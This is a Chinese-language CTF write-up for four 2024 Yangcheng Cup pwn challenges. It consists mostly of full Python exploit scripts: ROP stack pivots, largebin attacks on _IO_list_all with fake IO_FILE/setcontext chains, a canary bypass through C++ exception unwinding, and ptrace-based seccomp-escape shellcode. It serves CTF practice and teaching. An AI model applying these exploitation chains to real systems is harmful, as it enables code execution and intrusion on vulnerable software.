羊城杯2024

pstack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#!/usr/bin/env python3
from pwncli import *
from ctypes import *
from time import time

cli_script() # 使用脚本模式必须显式调用这个函数

# 你能够从gift里面取到很多东西
io = gift['io'] # process或remote对象
elf = gift["elf"] # ELF对象,ELF("./pwn")
libc = gift.libc # ELF对象, ELF("./libc.so.6")
filename = gift.filename # current filename
is_debug = gift.debug # is debug or not
is_remote = gift.remote # is remote or not
gdb_pid = gift.gdb_pid # gdb pid if debug

arch='amd64'
context(log_level = 'debug',os='linux',arch=arch)
if gift.remote:
libc = ELF("./libc.so.6")
gift['libc'] = libc
# 有时候远程提供的libc与本地不一样,打靶机时替换libc为远程libc
pass
libc_box = LibcBox() # LibcBox对象

r_l = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
r_l.srand(0)
# - - - - - - - - - - - - - #

# - - - - - - - - - - - - - #

# - - - - - - - - - - - - - #
def pwn_exp():
print('PWN')
CG.set_find_area(find_in_elf=True,find_in_libc=False)

p2 = b''
p2 = p2.ljust(0x40-0x10,b'A')+p64(0x601770)
p2 += p64_ex(0x4006B8)
sa("Can you grasp this little bit of overflow?",p2)

p3 = p64_ex(0x6017f0-8) + p64_ex(CG.pop_rsi_r15_ret())+p64_ex(0x601770)+p64_ex(0x0)+p64_ex(elf.plt.read)+p64_ex(CG.pop_rsi_r15_ret())
p3 += p64_ex(0x601740)+p64_ex(CG.leave_ret())
sa("Can you grasp this little bit of overflow?",p3)

p4 = p64_ex(0x601770+0x40) + p64_ex(0x0)+p64_ex(elf.plt.read)
p4+=p64_ex(CG.pop_rdi_ret())+p64_ex(elf.got.puts)+p64_ex(CG.pop_rsi_r15_ret())+p64_ex(0x0)+p64_ex(0x0)
s(p4)

p5 = p64_ex(elf.plt.puts) + p64_ex(0x4006C4) + p64_ex(CG.leave_ret())
s(p5)

ru('\n')
libc.address = u64_ex(io.recv(6)) - libc.sym.puts
log.success('libc.address:'+hex(libc.address))

CG.set_find_area(find_in_elf=True,find_in_libc=True)

p6 = p64_ex(CG.ret()) + p64_ex(CG.pop_rdi_ret())+p64_ex(CG.bin_sh())+p64_ex(libc.sym.system)
sl(p6)

#log
#libc=LibcSearcher("gets",gets_Addr);
log.info('#---#---#---#---#')
log.success('libc.address:'+hex(libc.address))

if __name__ == '__main__':
pwn_exp()
io.interactive()
#0x7102f83d05c0

TravelGraph

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
#!/usr/bin/env python3
from pwncli import *
from ctypes import *
from time import time

cli_script() # 使用脚本模式必须显式调用这个函数

# 你能够从gift里面取到很多东西
io = gift['io'] # process或remote对象
elf = gift["elf"] # ELF对象,ELF("./pwn")
libc = gift.libc # ELF对象, ELF("./libc.so.6")
filename = gift.filename # current filename
is_debug = gift.debug # is debug or not
is_remote = gift.remote # is remote or not
gdb_pid = gift.gdb_pid # gdb pid if debug

arch='amd64'
context(log_level = 'debug',os='linux',arch=arch)
if gift.remote:
libc = ELF("./libc.so.6")
gift['libc'] = libc
# 有时候远程提供的libc与本地不一样,打靶机时替换libc为远程libc
pass
libc_box = LibcBox() # LibcBox对象

r_l = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
r_l.srand(0)
# - - - - - - - - - - - - - #
city = ['guangzhou','nanning','changsha','nanchang','fuzhou']
# - - - - - - - - - - - - - #
def cmd(c):
sla("5. Calculate the distance.",str(c))

#from_name,to_name,distance,transportation
def add(f,to,d,t,data=b"AAAA"):
cmd(1)
a1 = ''
if t == 1:
a1 = 'car'
elif t == 2:
a1 = 'train'
elif t == 3:
a1 = 'plane'
sla("What kind of transportation do you want? car/train/plane?",a1)
sla("From where?",f)
sla("To where?",to)
sla("How far?",str(d))
sa("Note:",data)

#from_name,to_name
def free(f,t):
cmd(2)
sla("From where?",f)
sla("To where?",t)

#from_name,to_name
def show(f,t):
cmd(3)
sla("From where?",f)
sla("To where?",t)

#from_name,to_name,idx,distance,data
def edit(f,t,idx,d,data):
cmd(4)
sla("From where?",f)
sla("To where?",t)
sla("Which one do you want to change?",str(idx))
sla("How far?",str(d))
sa("Note:",data)

#to_name
def dj(t):
cmd(5)
sla("Where do you want to travel?",t)
# - - - - - - - - - - - - - #
def pwn_exp():
print('PWN')
add(city[0],city[1],1000,2)
add(city[1],city[2],1000,2)
add(city[2],city[3],1000,2)
dj(city[3])
add(city[0],city[2],1000,3)
add(city[0],city[3],1000,2)
add(city[0],city[4],1000,2)
free(city[0],city[3])
free(city[2],city[3])
add(city[0],city[3],1000,3)
free(city[1],city[2])
free(city[0],city[1])
add(city[0],city[1],1000,2)
add(city[2],city[1],1000,1)
add(city[3],city[1],1000,1)
add(city[4],city[1],1000,1,'A'*8)
show(city[4],city[1])

ru('A'*8)
heap_base = u64_ex(io.recv(6))-(0x58e346d50eb0-0x58e346d4f000)

free(city[4],city[1])
add(city[4],city[1],1000,1,'A'*16)
show(city[4],city[1])
ru('A'*16)
libc.address = u64_ex(io.recv(6))-(0x76e2eac1b110-0x76e2eaa00000)

CG.set_find_area(find_in_elf=False,find_in_libc=True)

fake_io = IO_FILE_plus_struct()
fake_io.vtable=libc.symbols['_IO_wfile_jumps']
fake_io._wide_data = heap_base+0x60c9f0b18390-0x60c9f0b15000+0xe0




free(city[4],city[1])
free(city[3],city[1])
free(city[2],city[1])

add(city[0],city[1],1000,2)
add(city[1],city[2],1000,2,b'A'*0x4f0+p64_ex(0x0000000000000000)+p64_ex(0x0000000000000521)+p64_ex(0x0000000100000004)+p64_ex(0x00000001000003e8))
add(city[2],city[3],1000,2)
free(city[0],city[3])
free(city[0],city[4])


payload = bytes(fake_io)[0x20:]
p = b''
p = p.ljust(0x68,b'\x00')+p64_ex(0x53A1D+libc.address)
p = p.ljust(0x88,b'\x00')+p64_ex(0x100)
p = p.ljust(0xa0,b'\x00')+p64_ex(heap_base+0x60c9f0b18390-0x60c9f0b15000+0xe0+0x200)+p64_ex(CG.ret())
p = p.ljust(0xe0,b'\x00')+p64_ex(heap_base+0x60c9f0b18390-0x60c9f0b15000+0xe0)
p = p.ljust(0x200,b'\x00')
p += p64_ex(CG.pop_rdi_ret()) + p64_ex(0x5efcd7ac3e10-0x5efcd7ac0000+heap_base) +p64_ex(libc.sym.open)
p += p64_ex(CG.pop_rdi_ret())+p64_ex(3)+p64_ex(CG.pop_rsi_r15_ret())+p64_ex(heap_base+0x3000)+p64_ex(0)+p64_ex(0x000000000011f2e7+libc.address)+p64_ex(0x100)+p64_ex(0)+p64_ex(libc.sym.read)
p += p64_ex(CG.pop_rdi_ret())+p64_ex(heap_base+0x3000)+p64_ex(libc.sym.puts)
payload += p

add(city[0],city[3],1000,1)# payload
add(city[2],city[4],1000,1,payload)# payload
free(city[2],city[3])

add(city[0],city[4],1000,3)

free(city[2],city[4])

p = p64_ex(0) +p64_ex(0x531) + p64_ex(0x77bc5fa1b110-0x77bc5f800000+libc.address)*2 + p64_ex(0x5726ed7bbed0-0x5726ed7ba000+heap_base) + p64_ex(libc.symbols['_IO_list_all']-0x20)
edit(city[4],city[1],1,1000,p)
add(city[0],city[0],1000,3,b'/flag')

#log
#libc=LibcSearcher("gets",gets_Addr);
log.info('#---#---#---#---#')
log.success('libc.address:'+hex(libc.address))
log.success('heap_bae:'+hex(heap_base))
log.success('_IO_list_all:'+hex(libc.symbols['_IO_list_all']))
log.success('_IO_wfile_jumps:'+hex(libc.symbols['_IO_wfile_jumps']))
log.success('setcontext:'+hex(0x53A1D+libc.address))

#pause()
cmd(0)

if __name__ == '__main__':
pwn_exp()
io.interactive()

logger

异常抛出(throw)后会去捕获catch来执行异常处理,

  • 但是当当前层没有的时候就会一直逆到外层去捕获catch,直到走完整个调用链,然后程序abort。
  • 如果捕获到catch就会执行catch块中的代码

整个过程被叫做栈展开( stack unwind),分为两部分:

  1. 异常后,对调用链一直捕获catch
  2. 如果没有找到catch,程序abort,如果找到会记下当前位置再重新抛回到异常处,然后清理调用链上的所有局部变量,直到catch处

Itanium C++ ABI

Itanium ABI 定义了一系列函数及相应的数据结构来建立整个异常处理的流程及框架

1
2
3
4
5
6
7
8
9
10
_Unwind_RaiseException,//用于栈展开,throw抛出异常被调用
_Unwind_Resume,
_Unwind_DeleteException,
_Unwind_GetGR,
_Unwind_SetGR,
_Unwind_GetIP,
_Unwind_SetIP,
_Unwind_GetRegionStart,
_Unwind_GetLanguageSpecificData,
_Unwind_ForcedUnwind

_Unwind_RaiseException都会调用personality_routine(__gxx_personality_v0) ,两个合并完成的工作:

  • _Unwind_RaiseException:会在内部把当前函数栈调用重建,然后传给personality_routine
  • personality_routine:1、检查是否有catch;2、清理调用的栈上局部变量

当我们在程序里执行了抛出异常后,编译器为我们做了如下的事情:

  1. 调用 __cxa_allocate_exception 函数,分配一个异常对象。
  2. 调用 __cxa_throw 函数,这个函数会将异常对象做一些初始化。
  3. __cxa_throw() 调用 Itanium ABI 里的 _Unwind_RaiseException() 从而开始 unwind。
  4. _Unwind_RaiseException() 对调用链上的函数进行 unwind 时,调用 personality routine。
  5. 该异常如能被处理(有相应的 catch),则 personality routine 会依次对调用链上的函数进行清理。
  6. _Unwind_RaiseException() 将控制权转到相应的catch代码。
  7. unwind 完成,用户代码继续执行。

分析catch捕获后的一个执行代码

首先了解一下DWARF

这是以一种统一的风格来适应多种语言符号化的源码级调试需求的调试信息格式

1
readelf -wf throw>throw.txt

DW_CFA_def_cfa_expression很长

DW_CFA_def_cfa_expression就是DWARF调试信息格式中的一部分,特别是描述栈帧的恢复和计算方式。它包含了几个操作,表示了一种用于调试的栈帧指针(CFA,Canonical Frame Address)定义,使用的是一组DWARF操作码。

1
2
3
4
5
6
7
8
9
10
DW_CFA_def_cfa_expression:表示定义CFA的表达式。这是一个用于描述当前栈帧的指令,它提供了CFA的计算方式。
DW_OP_breg7 (rsp):这个操作表示使用寄存器7(通常表示rsp寄存器,即栈指针)。这个操作返回rsp寄存器的当前值。
DW_OP_breg16 (rip):这个操作表示使用寄存器16(通常表示rip寄存器,即指令指针)。它返回rip寄存器的当前值。
DW_OP_lit15:表示将字面量值15加载到栈顶。字面量值通常是一些常量。
DW_OP_and:表示从栈中弹出两个值并进行按位与操作。这个操作会将结果压入栈顶。
DW_OP_lit11:将字面量值11加载到栈顶。
DW_OP_ge:表示从栈中弹出两个值并进行大于等于比较。如果栈顶元素大于或等于次顶元素,则将结果(真或假)压入栈顶。
DW_OP_lit3:将字面量值3加载到栈顶。
DW_OP_shl:表示从栈中弹出两个值,并将顶部的值左移指定数量。这里是将前一个值左移3位。
DW_OP_plus:表示从栈中弹出两个值并相加。结果再压入栈顶。

C++异常处理攻击手法

异常流程

C++一个标准的抛出异常函数通过**_cxa_allocateexception来完成初始化,然后通过**__cxa_throw来完成抛出

最关键的函数,_Unwind_RaiseException栈展开和catch捕获的一个实现

如果捕获到会直接返回到catch块中,捕获完毕交给_Unwind_Resume,否则弹到stderr然后abort

进入catch块中,通过_Unwind_Resume恢复程序的正常执行流程,在调用栈中转移控制权,确保程序能从异常发生的地方继续执行

执行完成,通过__cxa_begin_catch 初始化与捕获异常相关的上下文执行

__cxa_end_catch用于处理异常捕获结束后的清理工作,执行完成直接交给原有程序继续执行,发现本来的stack_fail检查没有了

如果这个时候存在栈溢出,通过栈溢出+异常触发就能绕过canary的检查,并且程序正常执行

利用

如果通过溢出覆盖了rbp,也能正常执行吗,是可以进行的,栈展开的时候是通过在内部把当前函数栈调用重建,然后通过回抛方式一层一层往上捕获的过程,不以当前rbp做操作

通过_Unwind_RaiseException依然能够捕获到catch块,并且rbp被覆盖

再次通过_Unwind_Resume恢复后rbp变为覆盖的地址,并且程序正常执行

如果后面程序执行函数返回leave;ret;我们能直接完成栈迁移控制rip

logger

盖rbp的时候,返回地址0x401a37,是try块下面的一个地址

指向的这个地址又是一个jmp,jmp后面的可以不用管,注意这里IDA识别catch块

当触发异常的时候会通过_Unwind_Resume一层一层抛上去

当在Warn函数触发异常的时候,throw先去捕获Warn的catch

然后会调转指向_Unwind_Resume现在还是再Warn函数中,还没有抛到上一层,通过_Unwind_Resume回抛到上一级main函数

main函数中的catch块,然后再次通过_Unwind_Resume去恢复到原来mian函数的执行上下文

当覆盖返回地址的时候,如果覆盖地址为其他的try捕获,按照的栈展开回抛机制,程序会被回抛到,try对应的catch块中

把返回地址改为0x401BC2+1(执行特性,下一条执行地址不能当前地址一样)(存在system对一个全局变量的执行,改全局变量开可以使用Trace函数中存在的循环溢出来进行修改为/bin/sh)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/usr/bin/env python3
# -*-coding:utf-8 -*-
from pwn import*
from ctypes import *
from LibcSearcher import *

io_ch=0
de_bug=0
url='127.0.0.1'
port=9999
arch='amd64'
filename='./pwn'
context(log_level = 'debug',os='linux',arch=arch)
context.terminal = ['tmux','splitw','-h']
if io_ch==1:
io=remote(url,port)
else:
io=process(filename)
if de_bug==1:
gdb.attach(io,"b * 0x401BD9")
elf=ELF(filename)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
# - - - - - - - - - - - - - #
s = lambda content : io.send(content)
sl = lambda content : io.sendline(content)
sa = lambda content,send : io.sendafter(content, send)
sla = lambda content,send : io.sendlineafter(content, send)
rc = lambda number : io.recv(number)
ru = lambda content : io.recvuntil(content)
rcg = lambda : u64(rc(6).ljust(8, b'\x00'))
# - - - - - - - - - - - - - #

# - - - - - - - - - - - - - #

# - - - - - - - - - - - - - #
def Pwn_exp():
print("PWN")
for i in range(8):
sla("Your chocie:",str(1))
sa("here: ",'a'*0x10)
sla("Do you need to check the records? ",'n')
sla("Your chocie:",str(1))
sa("here: ","/bin/sh\x00")
sla("Do you need to check the records? ",'n')
sla("Your chocie:",str(2))
p1=b'a'*0x70+p64(0x404550)+p64(0x401BC2+1)
sa("Type your message here plz: ",p1)


#log
log.info('#---#---#---#---#')
log.success('libc.address:'+hex(libc.address))

if __name__=="__main__":

Pwn_exp()
io.interactive()

hard+sandbox

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
#!/usr/bin/env python3
from pwncli import *
from ctypes import *
from time import time

cli_script() # 使用脚本模式必须显式调用这个函数

# 你能够从gift里面取到很多东西
io = gift['io'] # process或remote对象
elf = gift["elf"] # ELF对象,ELF("./pwn")
libc = gift.libc # ELF对象, ELF("./libc.so.6")
filename = gift.filename # current filename
is_debug = gift.debug # is debug or not
is_remote = gift.remote # is remote or not
gdb_pid = gift.gdb_pid # gdb pid if debug

arch='amd64'
context(log_level = 'debug',os='linux',arch=arch)
if gift.remote:
libc = ELF("./libc.so.6")
gift['libc'] = libc
# 有时候远程提供的libc与本地不一样,打靶机时替换libc为远程libc
pass
libc_box = LibcBox() # LibcBox对象

r_l = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
r_l.srand(0)
# - - - - - - - - - - - - - #

# - - - - - - - - - - - - - #
def cmd(c):
sla(">",str(c))
def add(idx,size):
cmd(1)
# <=0xf
sla("Index: ",str(idx))
#0x500<= <= 0x900
sla("Size: ",str(size))
def free(idx):
cmd(2)
sla("Index: ",str(idx))
def edit(idx,data):
cmd(3)
sla("Index: ",str(idx))
sa("Content: ",data)
def show(idx):
cmd(4)
sla("Index: ",str(idx))
def exit():
cmd(5)
# - - - - - - - - - - - - - #
def pwn_exp():
print('PWN')
add(1,0x528)
add(0,0x500)
add(2,0x518)
add(0,0x500)
free(1)
show(1)
libc.address = u64_ex(io.recv(6))-0x730bdf41ace0+0x730bdf200000
add(3,0x538)
free(2)
show(2)
p1 = b'a'*0x10
edit(1,p1)
show(1)
ru(p1)
heap_base = u64_ex(io.recv(6))-0x290
io_list_all = libc.sym['_IO_list_all']
p2 = p64_ex(libc.address + 2208016)*2+p64_ex(heap_base+0x290)+p64_ex(io_list_all-0x20)
edit(1,p2)
add(3,0x538)
CG.set_find_area(find_in_elf=False,find_in_libc=True)

target_heap = heap_base + 0xcd0
fake_io = IO_FILE_plus_struct()
fake_io.flags=0
fake_io.vtable=libc.symbols['_IO_wfile_jumps']
fake_io._IO_write_base = 0
fake_io._IO_write_ptr = 1
fake_io._wide_data=target_heap+len(fake_io)
p = b''
p = p.ljust(0x18,b'\x00')+p64_ex(0)
p = p.ljust(0x30,b'\x00')+p64_ex(0)
p = p.ljust(0x68,b'\x00')+p64_ex(libc.address + 0x53A1D)
p = p.ljust(0x98,b'\x00')+p64_ex(CG.ret())
p = p.ljust(0xa0,b'\x00')+p64_ex(target_heap+0xe0+0x100)+p64_ex(CG.ret())
p = p.ljust(0xe0,b'\x00')+p64_ex(target_heap+0xe0)
p = p.ljust(0x100,b'\x00')

p += p64_ex(CG.ret())
p += p64_ex(CG.pop_rdi_ret())+p64_ex(target_heap+0xe0+0x250)+p64_ex(CG.pop_rsi_ret())+p64_ex(0x1000)+p64_ex(0x000000000011f2e7+libc.address)+p64_ex(7)*2+p64_ex(libc.sym.mprotect)
p += p64_ex(CG.pop_rbx_ret())+p64_ex(target_heap+0xe0+0x100+0x150)+p64_ex(0x000000000002ab0f+libc.address)

p = p.ljust(0x250,b'\x00')
NR_fork=57
NR_ptrace=101
NR_wait=61
PTRACE_ATTACH=16
PTRACE_SETOPTIONS = 0x4200
PTRACE_O_TRACESECCOMP = 0x00000080
PTRACE_CONT = 7
PTRACE_DETACH=17
shell = f'''
main:
/*fork()*/
push {NR_fork}
pop rax
syscall
push rax
pop rbx
test rax,rax
jz child_code

/*ptrace(PTRACE_ATTACH, pid, NULL, NULL)*/
xor r10, r10
xor edx, edx
mov rsi,rbx
mov rdi,{PTRACE_ATTACH}
push {NR_ptrace}
pop rax
syscall

/* wait child */
xor rdi, rdi
push {NR_wait}
pop rax
syscall

/* ptrace(PTRACE_SETOPTIONS, pid, NULL, PTRACE_O_TRACESECCOMP) */
mov r10,{PTRACE_O_TRACESECCOMP}
xor rdx, rdx
mov rsi,rbx
mov rdi, 0x4200
push {NR_ptrace}
pop rax
syscall
js error

/* ptrace(PTRACE_CONT, pid, NULL, NULL) */
xor r10,r10
xor rdx,rdx
mov rsi,rbx
mov rdi, {PTRACE_CONT} /* PTRACE_CONT */
push {NR_ptrace}
pop rax
syscall
js error

/* Wait seccomp */
xor rdi, rdi
push {NR_wait}
pop rax
syscall

xor r10,r10
xor rdx,rdx
mov rsi,rbx
mov rdi,{PTRACE_DETACH}
push {NR_ptrace}
pop rax
syscall
jmp end

child_code:
{shellcraft.open('./flag')}
{shellcraft.sendfile(1,3,0,0x100)}
error:
/* exit */
xor rdi, rdi
mov rax, 60
syscall
end:
nop
'''

p+= asm(shell)

pp = bytes(fake_io)[0x10:]+p
edit(2,pp)

log.success('_IO_wfile_jumps:'+hex(libc.symbols['_IO_wfile_jumps']))
log.success("_IO_wfile_overflow:"+hex(libc.symbols['_IO_wfile_overflow']))
log.success("setcontext:"+hex(libc.address + 0x53B2E))
log.success("addr:"+hex(target_heap+0xe0+0x250))


pause()
exit()


#log
#libc=LibcSearcher("gets",gets_Addr);
log.info('#---#---#---#---#')
log.success('libc.address:'+hex(libc.address))
log.success('heap_bae:'+hex(heap_base))
log.success('io_list_all:'+hex(io_list_all))
log.success('_IO_wfile_jumps:'+hex(libc.symbols['_IO_wfile_jumps']))


if __name__ == '__main__':
pwn_exp()
io.interactive()